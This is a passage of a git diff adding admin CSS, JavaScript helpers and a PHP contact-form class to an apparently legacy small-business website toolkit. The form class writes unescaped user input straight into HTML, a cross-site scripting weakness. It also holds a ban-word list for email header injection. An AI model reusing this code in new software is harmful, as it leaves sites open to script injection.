+ overflow:hidden;
+ margin-top:-1px;
+ clear:left;
+}
+
+h1 {font-family: arial, helvetica, sans-serif; font-size: 18px; color: #777;}
+.navlink { font-size: 80%; font-family: arial; }
+TD { font-size: 11px; font-family: arial,helvetica; }
+INPUT { font-size: 12px; font-family: arial,helvetica; }
+SELECT { font-size: 12px; font-family: arial,helvetica; }
+OPTION { font-size: 12px; font-family: arial,helvetica; }
+TH { font-size: 11px; font-family: arial,helvetica; font-weight: bold; }
+.theader { font-size: 120%; font-family: arial,helvetica; color: #FFFFFF; }
+.text {        font-size: 100%; font-family: arial,helvetica; color: #000000; }
+.theadertd { background-color: #000080; }
+.pac_std_text  {  font-size: 12px; font-weight: normal; }
+.pac_bold_text  {  font-size: 12px; font-weight: bold; }
+.pac_std_small  {  font-size: 10px; font-weight: normal }
+.pac_bold_small  {  font-size: 10px; font-weight: bold }
+.pac_redtext { font-size: 12px; color: #CC0000 ; font-family: Arial, Helvetica, sans-serif; font-weight: normal; }
+.pac_redhead { font-size: 12px; font-weight: bold; color: #CC0000; font-family: Arial, Helvetica, sans-serif; }
+.title1 { font-size: 22px; font-weight: bold; color: blue; font-family: Arial, Helvetica, sans-serif; }
+.title2 { font-size: 22px; font-weight: bold; color: black; font-family: Arial, Helvetica, sans-serif; }
+A:link { text-decoration: none; color: }
+A:visited { text-decoration: none; color: }
+A:hover { text-decoration: underline; }
+A:active { text-decoration: none; }
+INPUT { FONT-SIZE: 12px; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; }
+SELECT { FONT-SIZE: 12px; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; }
+.navlink {
+       font-size: 12px;
+       font-family: arial;
+}
+
+td {
+       font-size: 12px;
+       font-family: arial,helvetica;
+}
+
+.theader {
+       font-size: 14px;
+       font-family: arial,helvetica;
+       color: #FFFFFF;
+}
+
+.theadertd {
+       background-color: #000080;
+}
+
+.topheader {
+       font-family:ms sans serif,arial,helvetica;
+       font-size:12px;
+       color:#FFFFFF;  
+       font-weight:bold;
+}
+.footer {
+       text-align:center;
+       color:#999999;
+  font-size:10px;
+       width:600px;
+}
+/* TOOLBOX NAV */
+ul#toolbox {list-style-position:inside;list-style-type:circle;}
+ul#toolbox li {list-style-type:circle}
+ul#toolbox li.toolboxArrow {list-style-type:none;padding-left:0;margin-left:-7px;}
+ul.admin_nav 
+{
+margin: 0;
+padding: 0 0 20px 0px;
+border-bottom: 1px solid #000;
+font-family: arial, helvetica, sans-serif;
+margin-bottom: 20px;
+font-size: 12px;}
+
+ul.admin_nav, ul.admin_nav  li
+{
+margin: 0;
+padding: 0;
+display: inline;
+list-style-type: none;
+}
+
+ul.admin_nav  a:link, ul.admin_nav  a:visited {
+float: left;
+line-height: 12px;
+font-weight: bold;
+margin: 0 10px 4px 10px;
+text-decoration: none;
+color: #999;
+border-bottom: 2px solid #999;}
+
+ul.admin_nav a:hover { border-bottom: 2px solid #000; color: #000; }
+#admin-list-table {clear:left;width:500px;}
+#admin-list-table td {
+       border: 2px solid #ccc;
+       border-collapse: collapse;
+       background: #eee;
+       padding: 4px;}  
+/*#admin-list-table img {border: 0; text-align: center; margin: 0 auto; display: block;}*/
+#admin-list-table a:link {color: #666;}
+#admin-list-table a:visited {color: #666;}
+#admin-list-table a:active {color: #666;}
+#admin-list-table a:hover {color: #000;}
+
+/*event-edit-table */
+#admin-edit-table {
+       clear:left;
+       font-family: arial, helvetica, sans-serif;
+       border: 2px solid #ccc;
+       border-collapse: collapse;
+       font-size: 12px;
+       }
+#admin-edit-table td {
+       border: 2px solid #ccc;
+       border-collapse: collapse;
+       background: #eee;       padding: 4px;}          
+#admin-edit-table td table td {border:none;padding:0;margin:0;}
+#admin-edit-table select,
+#admin-edit-table input,
+#admin-edit-table option {font-size: 12px;}
diff --git a/admin/msg.js b/admin/msg.js
new file mode 100755 (executable)
index 0000000..8ed837d
--- /dev/null
@@ -0,0 +1,29 @@
+function glm_confirm(o) {
+       var p = o.msg.split("\n");
+       var k = 0;
+       for(i = 0;i < p.length;i++) {
+               if(k > p[i].length)
+                       continue;
+               else 
+                       k = p[i].length;
+       }       
+       
+       var bound = "";
+       for(i = 0; i < k; i++) {
+               bound = bound+'_';
+       }
+       var str = bound+"\n\n"+o.msg+"\n\n"+bound+"\n\nAre You Sure?";
+       if(confirm(str)) {
+               if(o.popup == '1') {
+                       var nw = new Object();
+                       nw.url = o.url;
+                       nw.name = o.popup.name;
+                       nw.width = o.width;
+                       nw.height = o.height;
+                       glm_open(nw);
+               }
+               else {
+                       location.replace(o.url);
+               }
+       }
+}
diff --git a/admin/nav.phtml b/admin/nav.phtml
new file mode 100755 (executable)
index 0000000..3ceede6
--- /dev/null
@@ -0,0 +1,61 @@
+<?
+include("../setup.phtml");
+?>
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+ "http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>Admin Navigation</title>
+<style type="text/css">
+<!-- 
+body {margin: 2px; font-family: arial, sans-serif; font-size: 12px; background-color: white;}
+a:link {color: #369;}
+a:visited {color: #369;}
+a:active {color: #369;}
+a:hover {color: #369;}
+h1 {font-weight: bold; text-align: center; font-size: 14px;}
+ul { margin: 0; padding: 0; list-style-type: none; }
+li { margin: 0; padding: 0; display: block;    }
+li a {
+       text-decoration: none; 
+       display: block; 
+       margin: 0;
+       padding: 3px; 
+       background-color: #036; 
+       border-bottom: 1px solid #eee;
+       width: 136px;
+       }
+li a:link, li a:visited, li a:active { color: #EEE; }
+li a:hover { background-color: #369; color: #fff; }
+-->
+</style>
+</head>
+<body>
+       <h1><a href="<?php echo BASE_URL.$url;?>" target="_top"><?php echo SITENAME;?></a></h1>
+<ul>
+<?
+$nav["Home"] = "admin/splash.phtml";
+$nav["Contact"] = "admin/Contact/";
+//$nav["Home Page"] = "";
+//$nav["Classified Ads"] = "";
+//$nav["Newsletter"] = "admin/Newsletter/list_news_category.phtml";
+//$nav["Employment Opportunities"] = "";
+//$nav["Events"] = "admin/Events/list_events.phtml";
+//$nav["Toolbox"] = "admin/Toolbox/";
+//$nav["Toolbox"] = "admin/Mini-Toolbox"; 
+//$nav["Banner Ads"] = "admin/Banners/";
+//$nav["Contacts"] = "admin/Contact/";
+$nav["Server Statistics"] = "admin/logs/";
+
+foreach($nav as $name=>$url)
+       {
+       echo '
+       <li><a href="'.BASE_URL.$url.'" target="Main">'.$name.'</a></li>
+               ';
+       }
+?>
+</ul>
+
+<a style="display:block;margin: 10px auto;text-align:center;" href="http://www.gaslightmedia.com/" target="_blank"><img alt="GLMbug (3K)" src="http://www.gaslightmedia.com/assets/poweredby.gif" border="0"></a>
+</body>
+</html>
diff --git a/admin/splash.phtml b/admin/splash.phtml
new file mode 100755 (executable)
index 0000000..3034a7d
--- /dev/null
@@ -0,0 +1,21 @@
+<?
+include("../setup.phtml");
+?>
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+ "http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<link type="text/css" rel=stylesheet href="<?echo URL_BASE."admin/main.css"?>">
+<title>Welcome to GLM Toolbox</TITLE>
+</head>
+<body>
+
+<div style="text-align: center;">
+<p><strong>Welcome To The <?=SITENAME?> Administration Area</strong></p>
+<p>Please Choose The Area You Wish To Update.</p>
+<img src="<?=URL_BASE."images/logo.gif"?>">
+</div>
+
+</body>
+</html>
+
diff --git a/admin/template1.gif b/admin/template1.gif
new file mode 100755 (executable)
index 0000000..327d943
Binary files /dev/null and b/admin/template1.gif differ
diff --git a/admin/template2.gif b/admin/template2.gif
new file mode 100755 (executable)
index 0000000..edf3d8b
Binary files /dev/null and b/admin/template2.gif differ
diff --git a/admin/template3.gif b/admin/template3.gif
new file mode 100755 (executable)
index 0000000..16e2107
Binary files /dev/null and b/admin/template3.gif differ
diff --git a/admin/template4.gif b/admin/template4.gif
new file mode 100755 (executable)
index 0000000..32174dd
Binary files /dev/null and b/admin/template4.gif differ
diff --git a/admin/template5.gif b/admin/template5.gif
new file mode 100755 (executable)
index 0000000..6c36b50
Binary files /dev/null and b/admin/template5.gif differ
diff --git a/admin/verify.js b/admin/verify.js
new file mode 100755 (executable)
index 0000000..d9a6812
--- /dev/null
@@ -0,0 +1,80 @@
+function isblank(s) {
+       for(var i = 0; i < s.length; i++) {
+               var c = s.charAt(i);
+               if((c != ' ') && (c != '\n') && (c != '\t'))
+                       return(false);
+       }
+       return(true);
+}
+
+function verify(f) {
+       var msg;
+       var empty_fields = "";
+       var errors = "";
+
+       for(var i = 0; i < f.length; i++) {
+               var e = f.elements[i];
+               if(((e.type == "text") || (e.type == "textarea")) && !e.optional) {
+                       if((e.value == null) || (e.value == "") || isblank(e.value)) {
+                               empty_fields += "\n             " + e.r;
+                               continue;
+                       }
+
+                       if(e.d) {
+                               if(isNaN(Date.parse(e.value)))
+                                       errors += "- The field " +e.r+" must be formated like 01/17/2001\n";
+                       }
+                       if(e.numeric || (e.min != null) || (e.max != null)) {
+                               if(e.i) {
+                                       var v = parseInt(e.value);
+                                       if(v != e.value) {
+                                               errors += "- The field " +e.r + " must be a ";
+                                               errors += "number with no decimal\n";
+                                               continue;
+                                       }
+                               }
+                               else
+                                       var v = parseFloat(e.value);
+                               if(isNaN(v) ||
+                                       ((e.min != null) && (v < e.min)) ||
+                                       ((e.max != null) && (v > e.max))) {
+
+                                       errors += "- The field " + e.r + " must be a number";
+                                       if(e.min != null)
+                                               errors += " that is greater than " + e.min;
+                                       if(e.max != null && e.min != null)
+                                               errors += " and less than " + e.max;
+                                       else if (e.max != null)
+                                               errors += " that is less than " + e.max;
+                                       errors += ".\n";
+                               }
+                       }
+               }
+               if (e.options && !e.optional)
+               {
+                       if((e.value == null) || (e.value == "") || isblank(e.value)) 
+                       {
+                               empty_fields += "\n             " + e.r;
+                               continue;
+                       }
+               }
+       }
+
+       if(!empty_fields && !errors)
+               return(true);
+
+       msg = "_____________________________________________________\n\n";
+       msg +="The form was not submitted because of the following error(s).\n";
+       msg +="Please correct these error(s) and re-submit.\n";
+       msg +="_____________________________________________________\n\n";
+
+       if(empty_fields) {
+               msg += "- The following required field(s) are empty:"
+                               + empty_fields + "\n";
+               if(errors)
+                       msg += "\n";
+       }
+       msg += errors;
+       alert(msg);
+       return(false);
+}
diff --git a/admin/wm.js b/admin/wm.js
new file mode 100755 (executable)
index 0000000..7a7323e
--- /dev/null
@@ -0,0 +1,13 @@
+function glm_open(o) {
+       var x = (screen.width/2) - (o.width/2);
+       var y = (screen.height/2) - (o.height/2);
+       var args = "width="+o.width+",height="+o.height+",screenX="+x+",screenY="+y+",top="+y+",left="+x;
+       if(o.scroll == true)
+               args += ",scrollbars=1";
+       //args += "\'";
+       //alert(args);
+       pow=window.open(o.url,o.name,args);
+       //confirm(args);
+       if (pow.opener == null)
+               pow.opener = self;
+}
diff --git a/assets/email-title-winter.jpg b/assets/email-title-winter.jpg
new file mode 100755 (executable)
index 0000000..a0f4aa8
Binary files /dev/null and b/assets/email-title-winter.jpg differ
diff --git a/assets/email-title.jpg b/assets/email-title.jpg
new file mode 100755 (executable)
index 0000000..711791f
Binary files /dev/null and b/assets/email-title.jpg differ
diff --git a/assets/email-title2.jpg b/assets/email-title2.jpg
new file mode 100755 (executable)
index 0000000..c41d1ad
Binary files /dev/null and b/assets/email-title2.jpg differ
diff --git a/assets/email-title2_SUMMER_.jpg b/assets/email-title2_SUMMER_.jpg
new file mode 100755 (executable)
index 0000000..c41d1ad
Binary files /dev/null and b/assets/email-title2_SUMMER_.jpg differ
diff --git a/assets/logopinetan120.jpg b/assets/logopinetan120.jpg
new file mode 100755 (executable)
index 0000000..41bb5ba
Binary files /dev/null and b/assets/logopinetan120.jpg differ
diff --git a/assets/title.jpg b/assets/title.jpg
new file mode 100755 (executable)
index 0000000..a2aacbd
Binary files /dev/null and b/assets/title.jpg differ
diff --git a/classes/class_contact_form.inc b/classes/class_contact_form.inc
new file mode 100755 (executable)
index 0000000..2e6f638
--- /dev/null
@@ -0,0 +1,876 @@
+<?php
+/** 
+ * Toolbox Classes 
+ * <p>
+ * creates a contact form with an updatable fields array.
+ * Don't set values in the var part only declare them.  If you set them their they will be like
+ * defines and cannot be changed.  Setup in constructor function then there's no problem.
+ * </p>
+ * 
+ * @package Toolbox Library
+ * @subpackage Forms Library
+ * @filesource
+*/
+/**
+* Include DocBlock
+*/
+include_once("class_db.inc");
+/**
+* Include DocBlock
+*/
+include_once("class_toolbox.inc");
+/**
+ * contact_form 
+ * <p>
+ * creates a contact form with an updatable fields array.
+ * Don't set values in the var part only declare them.  If you set them their they will be like
+ * defines and cannot be changed.  Setup in constructor function then there's no problem.
+ * </p>
+ * 
+ * @package Toolbox Library
+ * @subpackage Forms Library
+ * @version $id$
+ * @copyright 2005 Gaslight Media
+ * @author Steve Sutton <steve@gaslightmedia.com> 
+ * @license 
+ */
+class contact_form {
+       /**
+        * DB_fields 
+        *
+        * array for the needed fields
+        * @var mixed
+        * @access public
+        */
+       var $DB_fields;
+       /**
+        * CDB 
+        *
+        * database object
+        * @var mixed
+        * @access public
+        */
+       var $CDB;
+       /**
+        * email 
+        * the email address. if blank will not send out
+        * 
+        * @var mixed
+        * @access public
+        */
+       var $email;
+       /**
+        * table_name 
+        * database table name.
+        * 
+        * @var mixed
+        * @access public
+        */
+       var $table_name;
+       /**
+        * styleLabel 
+        * css style for the label cell
+        * 
+        * @var mixed
+        * @access public
+        */
+       var $styleLabel;
+       /**
+        * fieldcell 
+        * css style class for fieldcell
+        * 
+        * @var mixed
+        * @access public
+        */
+       var $fieldcell;
+       /**
+        * contact_db 
+        * weather or not they have database
+        * 
+        * @var mixed
+        * @access public
+        */
+       var $contact_db;
+       /**
+        * instructioncell 
+        * style for the instruction cell
+        * 
+        * @var mixed
+        * @access public
+        */
+       var $instructioncell;
+       /**
+        * subject 
+        * Subject line of the E-mail
+        * 
+        * @var mixed
+        * @access public
+        */
+       var $subject;           
+       /**
+        * submit_value  
+        * value for the submit button on form
+        * 
+        * @var mixed
+        * @access public
+        */
+       var $submit_value;
+       var $not_interested;
+       /**
+        * contact_form 
+        * 
+        * @access public
+        * @return void
+        */
+       function contact_form()
+       {
+               $this->CDB =& new GLM_DB();                                     // creates DB object    
+               $this->set_DB_fields();                                         // set up the DB_fields array (configuration)
+               $this->set_int_array();                                         // interest array
+               $this->email = OWNER_EMAIL;                                     // email address for mail function
+               $this->table_name = 'contact';                          // the contact table 
+               $this->styleLabel = "labelcell";                        // css style for the labelcell
+               $this->fieldcell = "fieldcell";                         // css style for the field input
+               $this->instructioncell = "instructioncell"; // css style for the field input
+               $this->submit_value = 'Send Your Request';
+               $this->subject = 'Contact Request from website '.SITENAME;
+               $this->contact_db = 1;                                          // if they have contact database or not
+               $this->get_form();                                                      // the whole thing runs upon class creation
+       }
+
+       /**
+       * get_form: one function to rule them all
+        * 
+        * @return void 
+        * @access public
+        **/
+       function get_form()
+       {
+               if( $_POST )
+               {
+                       if( $error = $this->form_process() )
+                       {
+                               echo '<div id="form-warning-top">Warning: The form was  not sent, please review the errors below.</div>';
+                               echo $this->display_form( $error );
+                       }
+               }
+               else
+               {
+                       echo $this->display_form();
+               }
+       }
+
+       /**
+        * set_DB_fields:
+        * 
+        * @return void 
+        * @access public
+        **/
+       function set_DB_fields()
+       {
+               $Zinst = 'Not a valid ZIP Code';
+               $Einst = 'You need to enter a valid email address';
+               $DB_fields[]=array('name'=>'fname',             'title'=>'First Name:', 'type' => 'text');
+               $DB_fields[]=array('name'=>'lname',             'title'=>'Last Name:',  'type' => 'text');
+               $DB_fields[] =  array( name => "company",       title => "Company Name:",type => "text");
+               $DB_fields[]=array('name'=>'address',   'title'=>'Address 1:',  'type' => 'text');
+               $DB_fields[]=array('name'=>'address2',  'title'=>'Address 2:',  'type' => 'text');
+               $DB_fields[]=array('name'=>'city',              'title'=>'City:',               'type' => 'text');
+               $DB_fields[]=array('name'=>'state',             'title'=> 'State:',             'type' => 'state');
+               $DB_fields[]=array('name'=>'zip',               'title' => 'ZIP:',              'type' => 'text',               'vtype'=>'zip',         'inst'=>$Zinst);
+               $DB_fields[]=array('name'=>'email',             'title' => 'Email:',    'type' => 'text',               'vtype'=>'email',       'req'=>1,       'inst'=>$Einst);
+               $DB_fields[]=array('name'=>'verify_email','title' => 'Verify Email:','type' => 'text',  'vtype'=>'email',       'req'=>1,       'inst'=>$Einst);
+               $DB_fields[]=array('name'=>'phone',             'title' => 'Phone:',    'type' => 'text',               'vtype'=>'phone');
+               $DB_fields[] =  array( name => "cellphone",     title => "Cell Phone:",                 type => "text");
+               $DB_fields[]=array('name'=>'fax',               'title' => 'Fax:',              'type' => 'text',               'vtype'=>'phone');
+               
+               $DB_fields[] =  array( name => "arrive1",               title => "Arrival Date 1:",             type => "text");
+               $DB_fields[] =  array( name => "depart1",               title => "Departure Date 1:",           type => "text");
+               $DB_fields[] =  array( name => "arrive2",               title => "Arrival Date 2:",             type => "text");
+               $DB_fields[] =  array( name => "depart2",               title => "Departure Date 2:",           type => "text");
+               $DB_fields[] =  array( name => "property",              title => "Property Requested?",                 type => "text");
+               $DB_fields[] =  array( name => "golfcourse",            title => "Golf Course Requested or Selection?",                 type => "text");
+               $DB_fields[] =  array( name => "teetime",               title => "Tee Times Needed?",           type => "text");
+               $DB_fields[]=array('name'=>'heardabout','title' => 'How did you hear about us:', "type"=>'drop', "drop"=>array(''=>'-- Options --','Internet'=>'Internet','Magazine Ad'=>'Magazine Ad','Newspaper'=>'Newspaper','Radio'=>'Radio','Referral'=>'Referral','Other'=>'Other'));
+               $DB_fields[]=array('name'=>'mail_ok',   'title' => 'Yes, I would like to sign up for your newsletter:','type' => 'radio');
+               $DB_fields[]=array('name'=>'interest',  'title' => 'Interest:','type' => 'interest');
+               $DB_fields[]=array('name'=>'comments',  'title' =>'Comments / Suggestions:',    'type' => 'desc');
+               $this->DB_fields = &$DB_fields; 
+       }
+
+       /**
+        * set_int_array:
+        * 
+        * @return void
+        * @access public
+        **/
+       function set_int_array()
+       {
+               $query = "select * from contact_inq order by pos;";
+               $data = $this->CDB->db_auto_get_data($query);
+               
+               if($data!=0)
+               {
+                       foreach( $data as $key => $value )
+                       {
+                               $int_array[$value['id']] = $value['header'];
+                       }
+                       $not_interested = 0;
+               }else
+               {
+                       $not_interested = 1;
+                       $int_array = array();
+               }
+               $this->int_array = $int_array;
+               $this->not_interested = $not_interested;
+       }
+
+       /**
+        * interest:
+        * @param $field: 
+        * 
+        * @return void
+        * @access public
+        **/
+       function interest($field)
+       {               
+               foreach( $this->int_array as $key => $value )
+               {
+                       $out .= '<label for="int'.$key.'"><input type="checkbox" id="int'.$key.'" name="interest[]" value="'.$key.'"';
+                       if( strpos( $field, (string)$key ) )
+                       {
+                               $out .= ' checked';                             
+                       }
+                       $out .= '>'.$value.'</label><br>';              
+               }               
+               return( $out );
+       }
+
+       /**
+       * display_form: shows the form and any errors in it
+        * @param $error = NULL: error array  
+        * 
+        * @return string $out
+        * @access public
+        **/
+       function display_form($error=NULL)
+       {                       
+               if(is_array($_POST))
+               {
+                       foreach($_POST as $k=>$v)
+                       {
+                               if( !is_array( $v ) )
+                               {
+                                       $_POST[$k] = trim(stripslashes($v));
+                               }
+                       }
+               }
+               $colcount = 1;
+               $out = '
+               <div id="contact">
+                       <form action="'.$_SERVER['REQUEST_URI'].'" method="POST">';
+                               $out .= '
+                               <table>';
+               foreach($this->DB_fields as $key=>$value)
+               {
+                       $label = $this->styleLabel;
+                       $field = $this->fieldcell;
+                       $instruction = $this->instructioncell;
+                       switch( $value['type'] )
+                       {
+                               case "state":
+                                       $out .= '
+                                       <tr';
+                                       $out .= ( $error[$value['name']] ) ? ' class="req"' : '';
+                                       $out .= '>';
+                                       $out .= '<td class="'.$label.'"><label for="'.$value["name"].'">';
+                                       if($value['req'])
+                                       {
+                                               $out .= '<span class="req">*';
+                                       }
+                                       $out .= $value['title'];
+                                       if($value['req'])
+                                       {
+                                               $out .= '</span>';
+                                       }       
+                                       $out .= '</label></td>
+                                               ';
+                                       $out .= '<td class="'.$field.'">';
+                                       $out .= GLM_TOOLBOX::build_picklist($value['name'],$GLOBALS['states_US'],$_POST['state']);
+                                       $out .= '</td>';
+                                       $out .= '</tr>';
+                               break;
+
+                               case "text":
+                               $out .= '
+                                       <tr';
+                                       $out .= ( $error[$value['name']] ) ? ' class="req"' : '';
+                                       $out .= '>';
+                                       $out .= '
+                                       <td class="'.$label.'"><label for="'.$value["name"].'">';
+                                       if($value['req'])
+                                       {
+                                               $out .= '<span class="req">*';
+                                       }
+                                       $out .= $value['title'];
+                                       if($value['req'])
+                                       {
+                                               $out .= '</span>';
+                                       }       
+                                       $out .= '</label></td>
+                                               <td class="'.$field.'">
+                                               <input id="'.$value["name"].'" name="'.$value["name"].'" value="'.$_POST[$value["name"]].'" maxlength="50">';
+                                       if( $error[$value['name']] )
+                                       {
+                                               $out .= '<div class="form-warning-inside">';
+                                               $out .= $value['inst'];
+                                               $out .= '</div>';
+                                       }
+                                       $out .= '</td>';
+                               $out .= '
+                       </tr>';
+                               break;
+
+                               case "static":
+                                       $out .= '<tr><td class="'.$label.'" align="right">'.$value["title"].'</td>
+                                       <td class="'.$field.'">'.$_POST[$value["name"]].'</td>
+                                       </tr>';
+                               break;
+
+                               case "interest":
+                                       if($this->not_interested==0)
+                                       {
+                                               $out .= '<tr';
+                                               $out .= ( $error[$value['name']] ) ? ' class="req"' : '';
+                                               $out .= '><td class="'.$this->styleLabel.'">'.$value["title"].'</td>
+                                               <td class="checkbox '.$this->fieldcell.'">'.$this->interest($_POST[$value["name"]]);
+                                               if( $error[$value['name']] == 1 )
+                                               {
+                                                       $out .= '<div class="form-warning-inside">';
+                                                       $out .= ( $value['inst'] != '' ) ? $value['inst']: 'Empty!';
+                                                       $out .= '</div>';
+                                               }
+                                               $out .= '</td>
+                                               </tr>';
+                                       }
+                               break;
+
+                               case "img":
+                                       $out .= '<tr></tr>';
+                               $out .= '<input type="hidden" name="old'.$value["name"].'" value="'.$_POST[$value["name"]].'">';
+                               if($_POST[$value['name']] != "")
+                               {
+                                       $out .= '<tr><td class="'.$label.'">Current Image:</td>';
+                                       $out .= '<td class="'.$field.'"><img src="'.MIDSIZED.$_POST[$value["name"]].'">
+                                               </td>
+                                               </tr>
+                                               <tr>
+                                               <td class="'.$this->styleClass.'">Delete this image:</td>
+                                               <td class="'.$field.'">
+                                               <input type="radio" name="delete'.$value["name"].'" value="1">Yes
+                                               <input type="radio" name="delete'.$value["name"].'" value="2" CHECKED>No
+                                               </td>
+                                               </tr>';
+                               }
+                               $out .= '<tr><td class="'.$label.'">New '.$value["title"].':</td>';
+                               $out .= '<td class="'.$field.'"><input type="file" name="'.$value["name"].'"></td>';
+                               $out .= '</tr>';
+                               break;
+
+                               case "file":
+                                       $out .= '<tr></tr>';
+                               $out .= '<input type="hidden" name="old'.$value["name"].'" value="'.$_POST[$value["name"]].'">';
+                               if($_POST[$value['name']] != "")
+                               {
+                                       $out .= '<tr><td class="'.$label.'">Current File:</td>';
+                                       $out .= '<td class="'.$field.'">'.$_POST[$value["name"]].'
+                                               </td>
+                                               </tr>
+                                               <tr>
+                                               <td class="'.$label.'">Delete this File:</td>
+                                               <td class="'.$field.'">
+                                               <input type="radio" name="delete'.$value["name"].'" value="1">Yes
+                                               <input type="radio" name="delete'.$value["name"].'" value="2" CHECKED>No
+                                               </td>
+                                               </tr>';
+                               }
+                               $out .= '<tr><td class="'.$label.'">New '.$value["title"].':</td>';
+                               $out .= '<td class="'.$field.'"><input type="file" name="'.$value["name"].'"></td>';
+                               $out .= '</tr>';
+                               break;
+
+                               case "desc":
+                                       $rows='';
+                                       $cols='';
+                                       if($value['rows'])
+                                       {
+                                               $rows=' rows="'.$value['rows'].'"';
+                                       }
+                                       if($value['cols'])
+                                       {
+                                               $cols=' cols="'.$value['cols'].'"';
+                                       }
+                                       
+                                       $out .= '<tr';
+                                       $out .= ( $error[$value['name']] ) ? ' class="req"' : '';
+                                       $out .= '><td colspan="2">'.$value[title].'
+                                               <textarea name="'.$value["name"].'">'.$_POST[$value["name"]].'</textarea>';
+                               $out .= '</tr>';
+                               break;
+
+                               case "hide":
+                                       $out .= '<input type="hidden" name="'.$value["name"].'" value="'.$value["val"].'">';
+                               break;
+
+                               case "radio":
+                                       $out .= '<tr';
+                                       $out .= ( $error[$value['name']] ) ? ' class="req"' : '';
+                                       $out .= '><td class="'.$this->styleLabel.'">'.$value[title].'</td>';
+                               $out .= '<td class="'.$this->fieldcell.' checkbox"><input type="checkbox" name="'.$value["name"].'" value="t"';
+                               if( !$value['defaultno'] || $_POST[$value['name']] == 't' )
+                               {
+                                       $out .= ' checked';
+                               }
+                               $out .= '> Yes';
+                               $out .= '</td>';
+                                       if( $error[$value['name']] == 1 )
+                                       {
+                                               $out .= '<div class="form-warning-inside">';
+                                               $out .= ( $value['inst'] != '' ) ? $value['inst']: 'Empty!';
+                                               $out .= '</div>';
+                                       }
+                               $out .= '</tr>';
+                               break;
+
+                               case "date":
+                                       $out .= '<tr><td class="'.$label.'">'.$value[title].'</td>';
+                               $out .= '<td class="'.$field.'">';
+                               $date_entry = GLM_TOOLBOX::date_entry($_POST[$value['name'].'_month'],$_POST[$value['name'].'_day'],$_POST[$value['name'].'_year'],$value['name'].'_month',$value['name'].'_day',$value['name'].'_year');
+                               $out .= $date_entry.'</td>';
+                                       if( $error[$value['name']] == 1 )
+                                       {
+                                               $out .= '<div class="form-warning-inside">';
+                                               $out .= ( $value['inst'] != '' ) ? $value['inst']: 'Empty!';
+                                               $out .= '</div>';
+                                       }
+                               $out .= '</tr>';
+                               break;
+                               
+                               case "drop":
+                                       $out .= '<tr';
+                                       $out .= ( $error[$value['name']] ) ? ' class="req"' : '';
+                                       $out .= '><td class="'.$label.'">'.$value[title].'</td>';
+                               $out .= '<td class="'.$field.'">';
+                               $date_entry = GLM_TOOLBOX::build_picklist($value['name'],$value['drop'],$_POST[$value['name']]);
+                               $out .= $date_entry.'</td>';
+                                       if( $error[$value['name']] == 1 )
+                                       {
+                                               $out .= '<div class="form-warning-inside">';
+                                               $out .= ( $value['inst'] != '' ) ? $value['inst']: 'Empty!';
+                                               $out .= '</div>';
+                                       }
+                               $out .= '</tr>';
+                               break;
+                       }
+               }               
+               $submit_val = ( $this->submit_value != '' ) ? $this->submit_value : 'Send';
+               $out .= '<tr align="center"><td colspan="2"><input type="submit" name="Command" value="'.$submit_val.'"></td></tr>';
+               $out .= '</table>';
+               $out .= '</form></div>';
+               return( $out );
+       }
+
+       /**
+        * get_db_fields 
+        * 
+        * @access public
+        * @return void
+        */
+       function get_db_fields()
+       {
+               if( !$this->contact_db )
+               {
+                       return( false );
+               }
+               $table = $this->table_name;
+               $query = "select * from $table limit 1 offset 0;";
+               if( $res = $this->CDB->db_exec( $query ) )
+               {
+                       for( $i = 0; $i < pg_numfields($res); $i++ )
+                       {
+                               $fields[] = pg_fieldname( $res, $i );
+                       }
+                       return( $fields );
+               }
+               else
+               {
+                       return( false );
+               }
+       }
+
+       /**
+        * check_valid_fields 
+        * validates the fields based on vtype in DB_fields array
+        * 
+        * @access public
+        * @return void
+        */
+       function check_valid_fields()
+       {
+               if( is_array( $this->DB_fields ) )
+               {
+                       foreach( $this->DB_fields as $key => $val )
+                       {
+                               switch( $val['vtype'] )
+                               {
+                                       case 'zip':
+                                       if( !preg_match( "/^(([0-9]{5})([ -+]?([0-9]{4}))?)$/i", $_POST[$val['name']] )
+                                               && !preg_match( "/^[a-zA-Z]\d[a-zA-Z][ -]?\d[a-zA-Z]\d$/i", $_POST[$val['name']] ) )
+                                               {
+                                                       if( $val['req'] == 1 )
+                                                       {
+                                                               $error[$val['name']] = 1;
+                                                       }
+                                                       unset( $_POST[$val['name']] );
+                                               }
+                                       break;
+
+                                       case 'email':
+                                               if( !GLM_TOOLBOX::valid_email( $_POST[$val['name']] ) )
+                                               {
+                                                       if( $val['req'] == 1 )
+                                                       {
+                                                               $error[$val['name']] = 1;
+                                                       }
+                                                       unset( $_POST[$val['name']] );
+                                               }
+                                       break;
+
+                                       case 'phone':
+                                                       if( $val['req'] == 1 )
+                                                       {
+                                                               $error[$val['name']] = 1;
+                                                       }
+                                               //      unset( $_POST[$val['name']] );
+                                       break;
+
+                                       default:
+                                               if( strstr($_POST[$val['name']],"\n") )
+                                               {
+                                                       if( $val['req'] == 1 )
+                                                       {
+                                                               $error[$val['name']] = 1;
+                                                       }
+                                                       unset( $_POST[$val['name']] );
+                                               }
+                                               if( strstr($_POST[$val['name']],"@") )
+                                               {
+                                                       if( $val['req'] == 1 )
+                                                       {
+                                                               $error[$val['name']] = 1;
+                                                       }
+                                                       unset( $_POST[$val['name']] );
+                                               }
+                                       break;
+                               }
+                       }
+               }
+               return( $error );
+       }
+
+       /**
+       * form_process: process the form checking for any required form values as set up in the
+       * DB_fields array.
+        * 
+        * @return error array if bad 
+        * @access public
+        **/
+       function form_process()
+       {
+               $ban_words[] = "content-type";
+               $ban_words[] = "content-transfer-encoding";
+               $ban_words[] = "mime-version";
+               $ban_words[] = "cc\:";
+               $ban_words[] = "bcc\:";
+               
+               if(is_array($_POST))
+               {
+                       foreach($_POST as $k=>$v)
+                       {
+                               if( !is_array( $v ))
+                               {
+                                       $_POST[$k] = trim(stripslashes($v));
+                               }
+                               foreach($ban_words as $k => $word)
+                               {
+                                       $wordstr = "/$word/i";
+                                       if(preg_match($wordstr,$v))
+                                       {
+                                               // let's unset the $_POST array
+                                               foreach( $_POST as $key => $val )
+                                               {
+                                                       $_POST[$key] = '';
+                                               }
+                                               // if we matched, return.
+                                               return( true );
+                                       }
